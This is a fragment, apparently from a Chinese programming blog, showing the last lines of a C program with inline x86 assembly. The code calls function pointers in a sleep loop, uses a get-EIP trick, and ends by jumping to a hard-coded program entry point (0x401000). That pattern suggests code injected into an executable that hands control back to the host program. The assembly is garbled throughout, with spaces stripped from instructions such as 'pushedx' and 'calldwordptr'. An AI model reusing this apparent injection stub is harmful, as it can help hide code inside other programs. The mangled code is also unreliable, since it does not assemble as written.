  734. pushedx
  735. calldwordptr[ebp-4010h]
  736. moveax,[ebp-38h]
  737. pusheax
  738. calldwordptr[ebp-4010h]
  739. movecx,[ebp-2Ch]
  740. pushecx
  741. calldwordptr[ebp-4010h]
  742. movedx,[ebp-34h]
  743. pushedx
  744. calldwordptr[ebp-4010h]
  745. moveax,[ebp-12F8h]
  746. pusheax
  747. calldwordptr[ebp-403Ch]
  748. push3E8h
  749. calldwordptr[ebp-4018h]
  750. jmploc_004010F7
  751. loc_0040140F:
  752. jmploc_004013C8
  753. loc_00401411:
  754. jmploc_004013C8
  755. loc_00401413:
  756. jmploc_004013C8
  757. loc_00401415:
  758. jmploc_004013C8
  759. loc_00401417:
  760. jmploc_004013C8
  761. loc_00401419:
  762. movesp,ebp
  763. popebp
  764. ret
  765. }
  766. /////////////////////////////////////////////////////////////
  767. ex:
  768. _asm
  769. {
  770. popecx
  771. pushecx
  772. ret
  773. }
  774. ex1:
  775. _asm
  776. {
  777. callex
  778. ret
  779. }
  780. exit1:
  781. ///////////////////////////////////////////////////////////////
  782. _asm
  783. {
  784. moveax,0x401000//这里需要更改为程序人口
  785. jmpeax
  786. }
  787. return0;
  788. }

你可能感兴趣的:(windows,socket)